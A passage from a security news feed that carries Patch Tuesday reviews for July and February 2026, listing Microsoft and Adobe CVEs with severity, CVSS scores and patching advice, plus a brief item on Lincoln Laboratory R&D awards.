  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Four Lincoln Laboratory technologies win five 2023 R&D 100 awards]]></title>
<description><![CDATA[Inventions in medical imaging, aircrew scheduling, data security, and quantum networking are named among the year’s most innovative new products.]]></description>
<link>https://tsecurity.de/de/3694496/it-security-nachrichten/four-lincoln-laboratory-technologies-win-five-2023-rd-100-awards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694496/it-security-nachrichten/four-lincoln-laboratory-technologies-win-five-2023-rd-100-awards/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Inventions in medical imaging, aircrew scheduling, data security, and quantum networking are named among the year’s most innovative new products.]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
